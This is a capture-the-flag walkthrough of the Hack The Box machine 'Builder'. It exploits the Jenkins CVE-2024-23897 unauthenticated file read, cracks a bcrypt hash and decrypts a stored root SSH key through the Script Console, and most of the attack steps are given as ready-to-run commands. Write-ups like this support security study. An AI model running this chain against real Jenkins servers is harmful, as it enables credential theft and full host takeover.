Builder
Jenkins 2.441 was vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read via the CLI's @filename argument expansion, which exposed the user flag and jennifer's bcrypt hash directly, then cracking the hash to 'princess' gave Script Console access to decrypt a stored root SSH key.
Overview
Builder is a medium-difficulty Linux box running Jenkins 2.441 inside a Docker container. The attack chain starts with CVE-2024-23897, an unauthenticated path traversal and improper access control flaw in the Jenkins CLI that lets any anonymous user read arbitrary files by prefixing a filename with @. File-reading users.xml and jennifer’s config.xml exposed a bcrypt hash that cracked to princess with rockyou, granting a Jenkins login. Jennifer held the Administer permission, so the Script Console was accessible — a stored SSH credential for root had its encrypted blob visible in the credential update page HTML, and posting hudson.util.Secret.decrypt(...) to /scriptText returned the plaintext private key used to SSH in as root.
Machine Matrix
High CVE and Real-Life scores reflect that CVE-2024-23897 is a fully weaponized, real-world Jenkins vulnerability that was actively exploited in the wild at the time of box release, with no custom exploit code required.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | SSH (OpenSSH) | standard SSH, used only at the root stage |
| 8080 | HTTP (Jenkins 2.441) | Jenkins web UI and CLI endpoint; X-Jenkins: 2.441 header confirms version |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,8080 -sC -sV -Pn 10.10.10.X
The X-Jenkins: 2.441 header from port 8080 is the key finding — 2.441 is unpatched for CVE-2024-23897, which was disclosed in January 2024 and had public PoC tooling available immediately.
Enumeration
Browsing to port 8080 shows a Jenkins login page. The anonymous read access setting is enabled (not locked down), which means unauthenticated users can invoke Jenkins CLI commands — a prerequisite for CVE-2024-23897.
Download the CLI jar unauthenticated:
1
wget http://10.10.10.X:8080/jnlpJars/jenkins-cli.jar -O /tmp/jenkins-cli.jar
Confirm the version and test unauthenticated CLI access:
1
curl -sk http://10.10.10.X:8080/ -I | grep X-Jenkins
The help CLI command echoes its argument token back in an ERROR line. With the @filename prefix the argument is substituted with the file’s contents before the error fires — leaking the first two lines of any readable file:
1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
help "@/proc/self/environ" 2>&1 | grep ERROR
Output reveals HOME=/var/jenkins_home and the Docker container hostname, confirming we are inside a container and establishing the Jenkins home path.
The connect-node command leaks every line (each line appears as “No such agent <line> exists”), giving a complete file read:
1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
connect-node "@/var/jenkins_home/users/users.xml" 2>&1 | grep -v "^May\|^INFO"
Output: user directory jennifer_12108429903186576833 is revealed.
Foothold
Read jennifer’s config.xml to extract her bcrypt password hash:
1
2
3
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml" 2>&1 \
| grep -i passwordHash
The hash appears with a #jbcrypt: prefix — strip that prefix and save the bcrypt hash, then crack it with john:
1
2
echo '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' > /tmp/jk_hash.txt
john /tmp/jk_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Result: princess. The weak password cracked almost instantly against rockyou.
User flag
CVE-2024-23897 allows reading arbitrary files before any authentication check runs. The user flag lives inside the Jenkins home directory inside the container:
1
2
java -jar /tmp/jenkins-cli.jar -noCertificateCheck -s 'http://10.10.10.X:8080' \
help "@/var/jenkins_home/user.txt" 2>&1 | grep ERROR
1
cat /home/jennifer/user.txt # HTB{...}
The flag is leaked directly from the Jenkins container filesystem via the unauthenticated file read — jennifer’s account is confirmed and the user flag is ours.
Privilege Escalation
With jennifer’s credentials (jennifer:princess), log in to Jenkins and verify Script Console access:
1
curl -su 'jennifer:princess' http://10.10.10.X:8080/script -o /dev/null -w "%{http_code}"
Check stored credentials via the API:
1
2
3
curl -su 'jennifer:princess' \
'http://10.10.10.X:8080/credentials/store/system/domain/_/api/json?depth=2' \
| python3 -m json.tool
The output shows a credential named root of type “SSH Username with private key”. Visit the update page and pull the encrypted blob from the HTML source:
1
2
3
curl -su 'jennifer:princess' \
'http://10.10.10.X:8080/credentials/store/system/domain/_/credential/1/update' \
| grep -o '{AQAAABAAAAo[^"]*}'
Get a crumb token for the POST (Jenkins CSRF protection), then post to the Script Console to decrypt the stored credential:
1
2
3
4
5
6
7
8
CRUMB=$(curl -sc /tmp/jk_c.txt -su 'jennifer:princess' \
'http://10.10.10.X:8080/crumbIssuer/api/json' | \
python3 -c "import sys,json; print(json.load(sys.stdin)['crumb'])")
curl -sb /tmp/jk_c.txt -su 'jennifer:princess' \
-H "Jenkins-Crumb: $CRUMB" \
--data-urlencode "script=println(hudson.util.Secret.decrypt('{AQAAABAAAAo...FULL_ENCRYPTED_KEY...}'))" \
'http://10.10.10.X:8080/scriptText'
The Script Console calls hudson.util.Secret.decrypt() using the locally available Jenkins master key and returns the plaintext RSA private key. Save it and SSH in as root:
1
2
chmod 600 /tmp/builder_root_key
ssh -i /tmp/builder_root_key [email protected]
Root flag
1
cat /root/root.txt # HTB{...}
Root shell obtained via the decrypted SSH private key — full compromise of the host machine confirmed.